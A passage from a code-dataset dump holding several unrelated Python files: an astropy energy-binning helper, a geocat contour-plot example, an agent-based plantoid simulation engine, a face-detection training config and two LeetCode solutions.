nbins is per decade.\n \"\"\"\n if unit is not None:\n emin = u.Quantity(emin, unit)\n emax = u.Quantity(emax, unit)\n else:\n emin = u.Quantity(emin)\n emax = u.Quantity(emax)\n unit = emax.unit\n emin = emin.to(unit)\n\n x_min, x_max = np.log10([emin.value, emax.value])\n\n if per_decade:\n nbins = (x_max - x_min) * nbins\n\n energy = np.logspace(x_min, x_max, nbins)\n\n return u.Quantity(energy, unit, copy=False)\n\n\ndef energy_logcenter(e_edges):\n \"\"\"Compute energy log center.\n\n Parameters\n ----------\n e_edges : `~astropy.units.Quantity`, float\n Energy edges.\n \"\"\"\n return np.sqrt(e_edges[:-1] * e_edges[1:])\n","sub_path":"gammapy/utils/energy.py","file_name":"energy.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"14411894","text":"\"\"\"\nNCL_conwomap_2.py\n===============\nConcepts illustrated:\n - Drawing a simple filled contour plot\n - Selecting a different color map\n - Changing the size/shape of a contour plot using viewport resources\n\nThis Python script reproduces the NCL plot script found here: https://www.ncl.ucar.edu/Applications/Scripts/conwomap_2.ncl\n\nThe NCL graphics and description for this script are found here: https://www.ncl.ucar.edu/Applications/conwomap.shtml#ex2\n\"\"\"\n\n###############################################################################\n# Import packages\nimport numpy as np\nimport xarray as xr\nimport cartopy.crs as ccrs\nfrom geocat.viz.util import make_byr_cmap\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as tic\n\n###############################################################################\n# Open a netCDF data file using xarray default engine and load the data into xarrays\nds = xr.open_dataset(\"../../data/netcdf_files/cone.nc\")\nu = ds.u.isel(time=4)\n\n###############################################################################\n# Plot\n\n# First get axes for a projection of preference\nfig = plt.figure()\nprojection = ccrs.PlateCarree()\nax = plt.axes(projection=projection)\n\n# Adjust figure size and plot parameters to get identical to original NCL plot\nfig.set_size_inches((10, 6))\n\n# Hard-code tic values. This assumes data are global\nax.set_xticks(np.linspace(0, 40, 5))\nax.set_yticks(np.linspace(0, 25, 6))\n\n# Adjust axes limits\nax.set_xlim((0,49))\nax.set_ylim((0,29))\n\n# Set axes labels\nax.set_xlabel(\"X\", fontsize=18, y=1.04)\nax.set_ylabel(\"Y\", fontsize=18)\n\n\n# Tweak minor tic marks. Set spacing so we get nice round values (10 degrees). Again, assumes global data\nax.tick_params(labelsize=16)\nax.minorticks_on()\nax.xaxis.set_minor_locator(tic.AutoMinorLocator(n=5))\nax.yaxis.set_minor_locator(tic.AutoMinorLocator(n=5))\nax.tick_params('both', length=12, width=0.5, which='major', top=True, right=True)\nax.tick_params('both', length=8, width=0.5, which='minor', top=True, right=True)\n\n# Add titles to left and right of the plot axis.\nax.set_title('Cone amplitude', y=1.04, fontsize=18, loc='left')\nax.set_title('ndim', y=1.04, fontsize=18, loc='right')\n\n# Import an NCL colormap\nnewcmp = make_byr_cmap()\n\n# Plot filled contours\np = u.plot.contourf(ax=ax, vmin=-1, vmax=10, levels=12, cmap=newcmp, add_colorbar=False, transform=projection, extend='neither', add_labels=False)\n# Plot borderlines first\nu.plot.contour(ax=ax, vmin=-1, vmax=10, levels=12, linewidths=0.5, colors='k', add_colorbar=False, transform=projection, extend='neither', add_labels=False)\n\n# Add horizontal colorbar\ncbar = plt.colorbar(p, orientation='horizontal', shrink=0.5)\ncbar.ax.tick_params(labelsize=16)\ncbar.set_ticks(np.linspace(0, 9, 10))\n\n# Show the plot\nplt.show()\n","sub_path":"Plots/Contours/NCL_conwomap_2.py","file_name":"NCL_conwomap_2.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"425236637","text":"from entities.enviroment import Enviroment\nfrom entities.cog0 import Cog0\nfrom entities.cog1 import Cog1\n\n# class that encapsulates an simulation\nclass Engine(object):\n\n def __init__(self, terrain_size, max_gen, plantoid_replenishment_rate, agent_max_reservoir, m_agent_max_qtd):\n self.terrain_size = terrain_size\n\n # Each simulation has an simulated terrain associated with it\n self.enviroment = Enviroment(terrain_size, max_gen, agent_max_reservoir, m_agent_max_qtd)\n\n # Sets the model plantoid replenishment rate\n self.plantoid_replenishment_rate = plantoid_replenishment_rate\n\n # Sets the maximum energy capacity of the mAgents\n self.agent_max_reservoir = agent_max_reservoir\n\n # Sets the maximum number of mAgents present in the simulation\n self.m_agent_max_qtd = m_agent_max_qtd\n\n # Update the state of the simulation\n def update(self):\n self.update_patches()\n self.update_agents()\n\n # Update the state of all patches in the terrain\n def update_patches(self):\n for x in xrange(self.terrain_size):\n for y in xrange(self.terrain_size):\n # Gets the patch at the position (x, y)\n patch = self.enviroment.terrain[x][y]\n\n # At each round, all plantoids consume resources from its local\n # enviroment and replenish its energy by a fix rate\n self.plantoid_replenishment(patch.plantoid)\n\n # At each step of the simulation, all plantoids are submit to\n # competition\n self.plantoid_competition(patch.plantoid, x, y)\n\n # Updates the internal state of all agents in the simulation\n def update_agents(self):\n agents = []\n\n for x in xrange(self.terrain_size):\n for y in xrange(self.terrain_size):\n patch = self.enviroment.terrain[x][y]\n\n # Populates the local agent list with tuples that contains the list of agents at that patch\n # an instance of the actual patch and its global position\n agents.append((patch.agents, patch, x, y))\n\n # Iterates over all tuples in the local agents list\n for pkg in agents:\n for agent in pkg[0]:\n\n # Makes agents its resource collection actions\n self.agent_resource_collection(agent, pkg[1], pkg[2], pkg[3])\n\n # Remove the agent from the simulation if it is dead\n if agent.is_dead():\n del agent\n\n\n # Replenishes the plantoid by the model's replenishment rate if its hungry\n def plantoid_replenishment(self, plantoid):\n if plantoid.is_hungry():\n plantoid.consume(self.plantoid_replenishment_rate)\n\n # Checks whether the plantoid at (x,y) is stronger than its neighbors and replace\n # than with its child\n def plantoid_competition(self, plantoid, x, y):\n if x > 0:\n if plantoid.is_stronger_than(self.enviroment.terrain[x - 1][y].plantoid):\n self.enviroment.replace_plantoid(x - 1, y, plantoid)\n\n if x < self.terrain_size - 1:\n if plantoid.is_stronger_than(self.enviroment.terrain[x + 1][y].plantoid):\n self.enviroment.replace_plantoid(x + 1, y, plantoid)\n\n if y > 0:\n if plantoid.is_stronger_than(self.enviroment.terrain[x][y - 1].plantoid):\n self.enviroment.replace_plantoid(x, y - 1, plantoid)\n\n if y < self.terrain_size - 1:\n if plantoid.is_stronger_than(self.enviroment.terrain[x][y + 1].plantoid):\n self.enviroment.replace_plantoid(x, y + 1, plantoid)\n\n # Makes the agent deliberate about theur internal hungry state and if they should eat from its patch's plantoid\n def agent_resource_collection(self, agent, patch, x, y):\n # Checks whether the agent is a Cog0 mAgent\n if isinstance(agent, Cog0):\n if agent.is_hungry():\n # Consumes from the patch plantoid\n agent.consume(patch.plantoid)\n\n # Checks whether the agent is a Cog1 mAgent\n if isinstance(agent, Cog1):\n # Makes the agent deliberate about which action it should take\n agent.deliberate(self.enviroment, x, y)\n\n # Runs one cycle of the simulation\n def tick(self):\n self.update()\n","sub_path":"simulation/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"390821143","text":"net_cfg = {\n 'net_name': 'FCOSFace',\n 'num_classes': 1,\n 'use_ldmk': False,\n 'strides': [4, 8, 16],\n}\n\ntrain_cfg = {\n 'input_size': 640,\n 'loss_type': 'focal',\n 'box_weight': 1.0,\n 'ldmk_weight': 5.0,\n 'cls_weight': 1.0,\n 'use_landmark': False,\n 'aug_type': 'FaceBoxes',\n 'lr_steps': [200, 250], # step epoch for learning rate decreasing\n 'save_folder': './weights/fcosface_1',\n}\n\ntest_cfg = {\n 'save_folder': 'fcosface_1',\n 'is_anchor_base': True,\n 'is_ctr': False\n}","sub_path":"FlashNet/facedet/configs/deprecated/fcosface_1.py","file_name":"fcosface_1.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"288111916","text":"class Solution:\r\n # def canJump(self, nums: List[int]) -> bool:\r\n \r\n# jump_length = 0\r\n# while jump_length < len(nums) -1:\r\n# if nums[jump_length] == nums[len(nums) - 1]:\r\n# return True\r\n# jump_length += nums[jump_length] \r\n \r\n# return False\r\n \r\n def canJump(self, nums: List[int]) -> bool:\r\n \r\n # jump_length = 0\r\n maximum = 0\r\n last_index = len(nums) - 1\r\n for jump in range(len(nums)):\r\n \r\n value = nums[jump]\r\n maximum = max(maximum, jump + value)\r\n \r\n if maximum == jump:\r\n break\r\n return maximum >= last_index\r\n \r\n \r\n ","sub_path":"LinkedList/Jump.py","file_name":"Jump.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"531318756","text":"\"\"\"\nGiven an array of integers, every element appears three times except for one. Find that single one.\n\nNote:\nYour algorithm should have a linear runtime complexity. Could you implement it without using extra memory?\n\"\"\"\n\nclass Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n \n \"\"\"\n a= sum(set(nums))*3 - sum(nums)\n return a/2\n \"\"\"\n \n \"\"\"\n http://bangbingsyb.blogspot.com/2014/11/leetcode-single-number-i-ii.html\n http://www.jiuzhang.com/solutions/single-number-ii/\n \"\"\"\n # d is used to store the sum of each bit\n \n \"\"\"\n d = [ 0 for i in range(32) ]\n for num in nums:\n for i in range(32):\n mask = (1< 0:\n d[i] += 1\n \n # get the number that happens once\n # idea: for each bit in d, d[i], d[i] % 3 is the bit\n result = 0\n for i in range(32):\n bit = d[i] %3\n if bit == 1:\n result += ( bit << i)\n \n return result\n \"\"\"\n \n #from low to high bit\n result = 0\n for i in range(32):\n bitsum = 0\n mask = (1<